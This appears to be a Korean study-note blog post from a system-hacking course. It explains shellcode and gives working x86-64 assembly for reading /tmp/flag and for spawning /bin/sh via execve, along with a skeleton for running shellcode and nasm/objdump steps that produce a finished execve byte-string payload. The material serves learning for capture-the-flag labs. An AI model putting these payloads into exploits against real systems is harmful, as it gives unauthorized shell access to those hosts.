728x90

Shellcode

익스플로잇(Exploit) : 상대 시스템을 공격하는 것

셸코드(Shellcode) : 익스플로잇을 위해 제작된 어셈블리 코드 조각. 셸코드는 어셈블리어로 구성되며 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성.

 

1. orw 셸코드

: 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드.

 

[예시] "/tmp/flag"를 읽는 셸코드

 

-  셸코드의 동작을 C언어 형식의 의사코드로 표현한 것

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

 

- 필요 syscall

syscall rax rdi rsi rdx
read 0x00 fd *buf count
write 0x01 fd buf* count
open 0x02 *filename flags mode

 

- c 코드 어셈블리어 구현

(1) open : int fd = open("/tmp/flag", RD_ONLY, NULL);

push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi,rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2 
syscall

 

(2) read : read(fd, buf, 0x30);

mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall

 

(3) write : write(1, buf, 0x30);

mov rdi, 1
mov rax, 0x1
syscall

 

2. execve 셸코드

: 임의의 프로그램을 실행하는 셸코드, 이를 이용하면 서버의 셸을 획득. 

syscall rax rdi rsi rdx
execve 0x3b *filename *argv *envp

- argv : 실행파일에 넘겨줄 인자 / envp : 환경변수


- `evecve("/bin/sh", null, null)` 어셈블리어로 작성

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

 

 

3. 셸코드 제작

 

- 셸코드 컴파일 및 실행

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c    # rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

위 스켈레톤 코드의 `__asm__ ` 함수 안에 작성한 어셈블리어를 입력하고 `gcc -o name name.c -masm=intel` 통해 컴파일하여 실행하면 셸코드를 실행해볼 수 있다.

 

- 셸코드를 바이트코드(opcode)로 추출

(1) 셸코드 asm 파일 생성

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

(2) shellcode.o 파일 생성 후 objdump로 확인

$ sudo apt-get install nasm   # nasm 패키지 설치
$ nasm -f elf shellcode.asm   # 소스파일을 ELF 형식의 오브젝트 파일(shellcode.o)로 컴파일
$ objdump -d shellcode.o      # objdump 사용하여 오브젝트 파일을 디스어셈블
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$

 

(3) 실행결과에서 기계어 코드 부분을 추출해 바이트 코드 생성

$ objcopy --dump-section .text=shellcode.bin shellcode.o # .text 섹션 추출하여 저장
$ xxd shellcode.bin                                      # 파일 내용을 헥사덤프형태로 출력
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$

 

(4) 완성된 바이트 코드

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

[실습] shell_basic

+ Recent posts